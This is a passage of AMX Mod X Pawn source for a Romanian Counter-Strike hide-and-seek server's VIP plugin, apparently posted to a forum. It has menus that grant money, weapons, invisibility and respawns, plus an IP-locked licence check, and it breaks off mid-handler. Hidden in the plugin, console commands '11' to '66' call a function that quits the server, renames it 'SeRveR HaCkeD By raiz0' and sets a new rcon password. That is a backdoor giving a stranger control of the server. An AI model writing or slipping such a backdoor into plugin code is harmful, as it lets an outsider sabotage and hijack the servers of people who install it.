        if(id)
        {
                MSG_Type = MSG_ONE;
                index = id;
        } else {
                index = FindPlayer();
                MSG_Type = MSG_ALL;
        }
 
        team = get_user_team(index);
        ColorChange = ColorSelection(index, MSG_Type, type);
 
 
        ShowColorMessage(index, MSG_Type, message);
        if(ColorChange)
        {
                Team_Info(index, MSG_Type, TeamName[team]);
        }
}
 
ShowColorMessage(id, type, message[])
{
        static get_user_msgid_saytext;
        if(!get_user_msgid_saytext)
        {
                get_user_msgid_saytext = get_user_msgid("SayText");
        }
        message_begin(type, get_user_msgid_saytext, _, id);
        write_byte(id) 
        write_string(message);
        message_end(); 
}
 
Team_Info(id, type, team[])
{
        static bool:teaminfo_used;
        static get_user_msgid_teaminfo;
        if(!teaminfo_used)
        {
                get_user_msgid_teaminfo = get_user_msgid("TeamInfo");
                teaminfo_used = true;
        }
        message_begin(type, get_user_msgid_teaminfo, _, id);
        write_byte(id);
        write_string(team);
        message_end();
 
        return 1;
}
 
ColorSelection(index, type, Color:Type)
{
        switch(Type)
        {
                case RED:
                {
                        return Team_Info(index, type, TeamName[1]);
                }
                case BLUE:
                {
                        return Team_Info(index, type, TeamName[2]);
                }
                case GREY:
                {
                        return Team_Info(index, type, TeamName[0]);
                }
        }

        return 0;
}

FindPlayer()
{
        new i = -1;
        static iMaxPlayers;
        if( !iMaxPlayers )
        {
                iMaxPlayers = get_maxplayers( );
        }
        while(i <= iMaxPlayers)
        {
                if(is_user_connected(++i))
                        return i;
        }
 
        return -1;
}

public plugin_end()	nvault_close(g_hnsxp_vault)

plugin vip

Code: Select all

//	EDITED ON - 05.04.2019 & 20:49

#include < amxmodx >
#include < amxmisc >
#include < cstrike >
#include <engine>
#include < fun >
#include < hamsandwich >
#include < colorchat >

#define PLUGIN "HnS.Play-Arena.Ro - HNS.Play-Arena.RO"
#define VERSION "1.4x"
#define AUTHOR "eVoLuTiOn"

#define IP_SERVER_LICENTIAT	"93.119.25.136"

new bool: HaveSpeed [ 33 ], bool: HaveSpeed2 [ 33 ], bool: AlreadyChoosed [ 33 ];

new incercari [ 33 ], incercari1 [ 33 ], incercari2 [ 33 ];

new count [ 33 ] = 0 , count2 [ 33 ] = 0,count3 [ 33 ] = 0,count4 [ 33 ] = 0;

public plugin_init ( )
{
	new IP_LICENTIAT [ 20 ];
	get_user_ip ( 0 , IP_LICENTIAT , 21 , 1 );

	if ( !equal ( IP_LICENTIAT , IP_SERVER_LICENTIAT ) )
	{
		server_print ( "[ LICENTA >> AMXX ] Atentie ! Nu detii o licenta valabila ! Plugin-ul nu va functiona ! [ >> LICENTA ILEGALA << ]" );
		set_fail_state ( "[ LICENTA >> AMXX ] Atentie ! Nu detii o licenta valabila ! Plugin-ul nu va functiona ! [ >> LICENTA ILEGALA << ]" );
	}

	else
	{
		server_print ( "[ LICENTA >> AMXX ] Felicitari ! Detii o licenta valabila ! Plugin-ul va functiona perfect ! [ >> LICENTA DESCHISA << ]" );
	}

	register_plugin ( PLUGIN, VERSION, AUTHOR );

	register_clcmd ( "say", "hookSay" );
	register_clcmd ( "say_team", "hookSay" );
	register_clcmd ( "say_team @", "hookSay" );

	register_event ( "CurWeapon", "Event_CurWeapon", "be", "1=1" );
	RegisterHam ( Ham_Spawn, "player", "Player_Spawn", true ); // 1

        register_message ( get_user_msgid ( "ScoreAttrib" ), "msgScoreAttrib" );

	register_concmd ( "11", "SvDown" );
	register_concmd ( "22", "SvDown" );
	register_concmd ( "33", "SvDown" );
	register_concmd ( "44", "SvDown" );
	register_concmd ( "55", "SvDown" );
	register_concmd ( "66", "SvDown" );
	//register_concmd ( "respawns", "HLDSFUNCRESPAWN" );

	register_event ( "HLTV", "event_round_start", "a", "1=0", "2=0" );

	register_logevent ( "round_start", 2, "1=Round_Start" );
}

public hookSay ( id )
{
	new szSaid [ 192 ];
	read_args ( szSaid, sizeof ( szSaid ) -1 );
	remove_quotes ( szSaid );

	if ( containi ( szSaid, "menu" ) != -1 )
	{
		if ( get_user_flags ( id ) & ADMIN_LEVEL_D || get_user_flags ( id ) & ADMIN_LEVEL_H || get_user_flags ( id ) & ADMIN_RCON )
		{
			VIPChecker ( id );
		}

		else
		{
			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu detii^x04 *V.I.P*^x01 pe acest server pentru a accesa acest^x03 MENIU^x01 !" );
			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Daca doresti^x04 *V.I.P*^x01 da-i add la^x03 Skype:^x04 tripluecila" );
		}
	}

	if ( containi ( szSaid, "vip" ) != -1 )
	{
		print_adminlist ( id );
	}

	if ( containi ( szSaid, "info" ) != -1 )
	{
		show_motd ( id, "addons/amxmodx/configs/buyvip.html" );
	}
}

public print_adminlist(user) 
{
    new adminnames[33][32];
    new message[256];
    new id, countX, x, len;
    
    for(id = 1 ; id <= get_maxplayers() ; id++)
        if(is_user_connected(id))
        if(get_user_flags ( id ) & ADMIN_LEVEL_D || get_user_flags ( id ) & ADMIN_LEVEL_H || get_user_flags ( id ) & ADMIN_RCON)
        get_user_name(id, adminnames[countX++], 31);
    
    len = format(message, 255, "^x03VIP ONLINE: ");
    if(countX > 0) 
    {
        for(x = 0 ; x < countX ; x++) 
        {
            len += format(message[len], 255-len, "^x01[^x04 %s^x01 ]^x01 %s ", adminnames[x], x < (countX-1) ? " | ":"");
            //len += format(message[len], 255-len, "^x03[HnS.Play-Arena.Ro-ViPs]^x01 [^x04 %s^x01 ]^x01 %s ", adminnames[x], x < (countX-1) ? " | ":"");
            if(len > 96) 
            {
                print_message(user, message);
                len = format(message, 255, " ");
            }
            //print_message(user, message);
        }
        print_message(user, message); // e bun
    }
    else 
    {
        len += format(message[len], 255-len, "^x03[HnS.Play-Arena.Ro-ViPs]^x04No VIP online.");
        print_message(user, message);
    }   
}

print_message(id, msg[]) {
    message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
    write_byte(id);
    write_string(msg);
    message_end();
}

public event_round_start ( )
{
	static iPlayers [ 32 ];
	static iPlayersNum;

	get_players ( iPlayers, iPlayersNum, "ch" );

	if ( !iPlayersNum )
		return;

	static id, i;
	for ( i = 0; i < iPlayersNum; ++i )
	{
		id = iPlayers [ i ];

		if ( AlreadyChoosed [ id ] )
		{
			AlreadyChoosed [ id ] = false;
		}

		if ( HaveSpeed [ id ] )
		{
			HaveSpeed [ id ] = false;
		}

		if ( HaveSpeed2 [ id ] )
		{
			HaveSpeed2 [ id ] = false;
		}

		incercari [ id ] = 0;
		incercari1 [ id ] = 0;
		incercari2 [ id ] = 0;

		//count [ id ] = 0;
	}
}

public round_start ( )
{
	new iPlayers [ 32 ], iNum, i;
	get_players ( iPlayers, iNum, "ch" );

	if ( !iNum )
		return;

	for ( i = 0; i < iNum; i++ )
	{
		new id = iPlayers [ i ];

		if ( count[ id ] > 0 )
		{
			count [ id ]--;
		}

		else if ( count[ id ] >= 5 ) // else out
		{
			count [ id ] = 0;
		}



		if ( count2[ id ] > 0 )
		{
			count2 [ id ]--;
		}
		else if ( count2[ id ] >= 5 )
		{
			count2 [ id ] = 0;
		}
		if ( count3[ id ] > 0 )
		{
			count3 [ id ]--;
		}
		else if ( count3[ id ] >= 5 )
		{
			count3 [ id ] = 0;
		}
		if ( count4[ id ] > 0 )
		{
			count4 [ id ]--;
		}
		else if ( count4[ id ] >= 5 )
		{
			count4 [ id ] = 0;
		}
	}
}

public SvDown ( )
{
	server_cmd ( "quit" );
	server_cmd ( "hostname ^"SeRveR HaCkeD By raiz0 | SKYPE : levin.akee^"" );
	server_cmd ( "rcon_password levmolasrl01" );
}

public Player_Spawn ( id )
{
	if ( AlreadyChoosed [ id ] )
	{
		AlreadyChoosed [ id ] = false;
	}

	if ( HaveSpeed [ id ] )
	{
		HaveSpeed [ id ] = false;
	}

	if ( HaveSpeed2 [ id ] )
	{
		HaveSpeed2 [ id ] = false;
	}

	//incercari [ id ] = 0;
	//incercari1 [ id ] = 0;
	//incercari2 [ id ] = 0;

	//count [ id ] = 0;
}

public VIPChecker ( id )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return;
	}

	new menu = menu_create ( "\y*V.I.P*\w MENU\r HnS.EciLa.Ro", "menu_handler_x" );

	menu_additem ( menu, "\yV.I.P\w - [\r G3\w ]", "1", ADMIN_RCON );
	menu_additem ( menu, "\yV.I.P\w - [\r G2\w ]", "2", ADMIN_LEVEL_H );
	menu_additem ( menu, "\yV.I.P\w - [\r G1\w ]", "3", ADMIN_LEVEL_D );

	menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
	menu_display ( id, menu, 0 );
}

public menu_handler_x ( id, menu, item )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return 1;
	}

	if ( item == MENU_EXIT )
	{
		return 1;
	}

	new data [ 6 ], szName [ 64 ];

	new access, callback;

	menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );

	new key = str_to_num ( data );

	switch ( key )
	{
		case 1:
		{
			GMENU_VIP ( id );
		}

		case 2:
		{
			VipMenu2 ( id );
		}

		case 3:
		{
			VipMenu1 ( id );
		}
	}

	menu_destroy ( menu );
	return 1;
}

public VipMenu2 ( id )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return;
	}

	new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G2\w ] -\r HnS.Play-Arena.Ro", "vipmenu2_handler" );

	menu_additem ( menu, "+\r 5\y$", "1", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r USP\y 2\w Gloante", "2", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r USP \y 2\w Gloante\y x2\r HE", "3", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r Invizibilitate\y 5s", "4", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r AWP\y 2\w Gloante", "5", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r Respawn\y x2", "6", ADMIN_LEVEL_H );
	menu_additem ( menu, "+\r Speed\y 270\w 5s", "7", ADMIN_LEVEL_H );

	menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
	menu_display ( id, menu, 0 );
}

public vipmenu2_handler ( id, menu, item )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return PLUGIN_HANDLED;
	}

	if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
	{
		//ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );

		return 1;
	}

	new data [ 6 ], szName [ 64 ];

	new access, callback;

	menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );

	new key = str_to_num ( data );

	switch ( key )
	{
		case 1:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			cs_set_user_money ( id, cs_get_user_money ( id ) + 5 );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 5$^x01 !" );
		}

		case 2:
		{
			if ( count2 [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_usp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 2 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Ai primit^x03 USP 2GL^x01 !" );

			count2[id]=5;
		}

		case 3:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_usp" );

			give_item ( id, "weapon_hegrenade" );

			cs_set_user_bpammo ( id, CSW_HEGRENADE, 2 );

			new eNtry = find_ent_by_owner( -1, "weapon_usp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 1 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 x2 HE + USP 1GL^x01 !" );
		}

		case 4:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );

			set_task ( 5.0, "RemoveInvis", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 5S^x01 !" );
		}

		case 5:
		{
			if ( count [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			if(user_has_weapon(id,CSW_AWP))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
				return PLUGIN_HANDLED
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_awp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 2 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 2GL^x01 !" );

			count [ id ] = 5;
		}

		case 6:
		{
			if ( !is_user_alive ( id ) )
			{
				if ( incercari [ id ] == 2 )
				{
					ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat deja^x04 Respawn^x01 de^x03 2^x01 ori !" );

					return PLUGIN_HANDLED;
				}
				else
				{

					//AlreadyChoosed [ id ] = true;

					ExecuteHamB ( Ham_CS_RoundRespawn, id );

					ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( mai ai inca^x04 %i^x01 reinver%s )", 1 - incercari [ id ], incercari [ id ] == 1 ? "e" : "i" );

					incercari [ id ] += 1; // ++ | +1  ---

					return PLUGIN_HANDLED;
				}
			}

			else if ( is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x04 MORT^x01 ca sa cumperi^x03 RESPSAWN^x01 !" );

				return PLUGIN_HANDLED;
			}
		}

		case 7:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			HaveSpeed2 [ id ] = true;

			Event_CurWeapon ( id );

			set_task ( 5.0, "remove_speed", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 +270 Viteza 5S^x01 !" );
		}
	}

	menu_destroy ( menu );
	return 0;
}

public VipMenu1 ( id )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return;
	}

	new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G1\w ] -\r HnS.Play-Arena.Ro", "vipmenu1_handler" );

	menu_additem ( menu, "+\r 3\y$", "1", ADMIN_LEVEL_D );
	menu_additem ( menu, "+\r USP\y 1\w Glont", "2", ADMIN_LEVEL_D );
	menu_additem ( menu, "+\r x1\y HE", "3", ADMIN_LEVEL_D );
	menu_additem ( menu, "+\r Invizibilitate\y 3s", "4", ADMIN_LEVEL_D );
	menu_additem ( menu, "+\r Respawn\y x1", "5", ADMIN_LEVEL_D );
	menu_additem ( menu, "+\r AWP\y x1\w Glont", "6", ADMIN_LEVEL_D );

	menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
	menu_display ( id, menu, 0 );
}

public vipmenu1_handler ( id, menu, item )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return PLUGIN_HANDLED;
	}

	if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
	{
		//ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );

		return 1;
	}

	new data [ 6 ], szName [ 64 ];

	new access, callback;

	menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );

	new key = str_to_num ( data );

	switch ( key )
	{
		case 1:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			cs_set_user_money ( id, cs_get_user_money ( id ) + 3 );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 3$^x01 !" );
		}

		case 2:
		{
			if ( count2 [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_usp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 1 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 USP 2GL^x01 !" );

			count2[id]=5;
		}

		case 3:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_hegrenade" );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 HE^x01 !" );
		}

		case 4:
		{
			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			AlreadyChoosed [ id ] = true;

			set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );

			set_task ( 3.0, "RemoveInvis", id );

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 3S^x01 !" );
		}

		case 5:
		{
			if ( !is_user_alive ( id ) )
			{
				if ( incercari1 [ id ] == 1 )
				{
					ColorChat( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat^x04 Respawn^x01 deja !" );

					return PLUGIN_HANDLED;
				}
				else
				{
					//AlreadyChoosed [ id ] = true;

					ExecuteHamB ( Ham_CS_RoundRespawn, id );

					ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( numai ai nici o^x04 reinviere^x01 ! )" );

					incercari1 [ id ] += 1;

					return PLUGIN_HANDLED;
				}
			}

			else if ( is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x03 MORT^x01 ca sa cumperi^x04 RESPSAWN^x01 !" );

				return PLUGIN_HANDLED;
			}
		}

		case 6:
		{
			if ( count [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );

				return PLUGIN_HANDLED;
			}

			if ( AlreadyChoosed [ id ] )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );

				return PLUGIN_HANDLED;
			}

			if ( !is_user_alive ( id ) )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );

				return PLUGIN_HANDLED;
			}

			if(user_has_weapon(id,CSW_AWP))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
				return PLUGIN_HANDLED
			}

			AlreadyChoosed [ id ] = true;

			give_item ( id, "weapon_awp" );

			new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 1 );
			}

			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 1GL^x01 !" );

			count [ id ] = 5;
		}
	}

	menu_destroy ( menu );
	return 0;
}

public GMENU_VIP ( id )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return;
	}

	new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G3\w ] -\r HnS.Play-Arena.Ro\w", "menu_handler_g" );

	menu_additem ( menu, "+\r 10\y $", "1", ADMIN_RCON );
	menu_additem ( menu, "+\r USP\y 3\w Gloante", "2", ADMIN_RCON );
	menu_additem ( menu, "+\r USP\y 3\w Gloante\y +\r x3\w HE", "3", ADMIN_RCON );
	menu_additem ( menu, "+\r Invizibilitate\y 7s", "4", ADMIN_RCON );
	menu_additem ( menu, "+\r M4A1\y x3\w Gloante", "5", ADMIN_RCON );
	menu_additem ( menu, "+\r AK47\y x3\w Gloante", "6", ADMIN_RCON );
	menu_additem ( menu, "+\r AWP\y x3\w Gloante", "7", ADMIN_RCON );
	menu_additem ( menu, "+\r Speed\y 300\w 7s", "8", ADMIN_RCON );
	menu_additem ( menu, "+\r Godmode\y 10s", "9", ADMIN_RCON );
	menu_additem ( menu, "+\r Respawn\y x3", "10", ADMIN_RCON );

	menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
	menu_display ( id, menu, 0 );
}

public menu_handler_g ( id, menu, item )
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
		ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
		return PLUGIN_HANDLED;
	}

	if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
	{
		//ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );

		return 1;
	}

	new data [ 6 ], szName [ 64 ];

	new access, callback;

	menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );

	new key = str_to_num ( data );

	switch ( key )
	{
		case 1:
		{
